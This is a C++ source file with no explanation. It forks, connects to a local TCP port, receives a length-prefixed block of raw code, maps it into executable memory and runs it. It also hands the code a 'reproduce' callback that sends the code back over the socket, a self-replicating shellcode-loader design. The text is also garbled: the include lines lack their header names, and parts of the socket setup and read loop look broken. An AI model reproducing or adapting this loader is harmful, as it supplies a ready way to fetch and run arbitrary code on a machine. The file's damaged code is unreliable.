/* @file generation.cpp */ #include #include #include #include #include #include #include #include #include #define MAX_LEN 1024 #define PORT 5000 using namespace std; class Generation { struct sockaddr_in server; int sock; uint8_t *buffer; public: Generation(void); ~Generation(void); int gen(void); int reproduce(void *pic_address, int pic_size); }; string b2a_hex(uint8_t *buffer, int len) { char const hex_char[16] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; string ascii; for (int iter = 0; iter < len; iter++) { const char character = buffer[iter]; ascii.append("\\x"); ascii.append(&hex_char[(character & 0xF0) >> 4], 1); ascii.append(&hex_char[character & 0xF], 1); } return ascii; } Generation::Generation(void) { cout << __func__ << "\n"; struct sockaddr_in server; server.sin_addr.s_addr = htonl(INADDR_LOOPBACK); server.sin_family = AF_INET; server.sin_port = htons(PORT); sock = socket(AF_INET, SOCK_STREAM, 0); } Generation::~Generation(void) { cout << __func__ << "\n"; if (sock) { close(sock); } if (buffer) { free(buffer); } } int Generation::reproduce(void *pic_address, int pic_size) { cout << __func__ << "\n"; int status = 0; printf("{\"address\":\"%p\",\"size\":\"%d\"}\n", pic_address, pic_size); status = connect(sock, (struct sockaddr *)&server, sizeof(server)); status = write(sock, pic_address, pic_size); status = 1; return status; } int Generation::gen(void) { cout << __func__ << "\n"; int status = 0; while (1) { status = connect(sock, (struct sockaddr *)&server, sizeof(server)); if (0 == status) { cout << "connected [" << status << "]\n"; break; } } buffer = (uint8_t *)calloc(1, MAX_LEN); while (1) { status = read(sock, buffer, MAX_LEN); if (0 <= status) { cout << "recv len [" << status << "]\n"; break; } } cout << "recv\n" << b2a_hex(buffer, sizeof(int)) << "\n"; int child_len = *(int *)buffer; cout << "seed len [" << child_len << "]\n"; int prot = (PROT_READ | PROT_WRITE | PROT_EXEC); int flags = (MAP_ANON | MAP_PRIVATE); uint8_t *pic_buffer = (uint8_t *)mmap(NULL, child_len, prot, flags, -1, 0); if (MAP_FAILED == pic_buffer) { throw runtime_error("mmap fail"); } int iter = child_len; while (1) { status = read(sock, buffer, MAX_LEN); if (!status) { continue; } memcpy(&pic_buffer[iter - child_len], buffer, status); if ((status + iter) >= child_len) { break; } iter -= status; } void (*pic_function)(void *, int, void *); pic_function = reinterpret_cast(pic_buffer); cout << "child spawn\n"; pic_function(pic_buffer, child_len, (void *)&Generation::reproduce); status = 1; return status; } int main(int argc, const char **argv) { cout << __func__ << "\n"; pid_t process_id; int status = 0; process_id = fork(); if (0 == process_id) { Generation *gen = new Generation(); status = gen->gen(); if (status) { return 1; } } return 0; }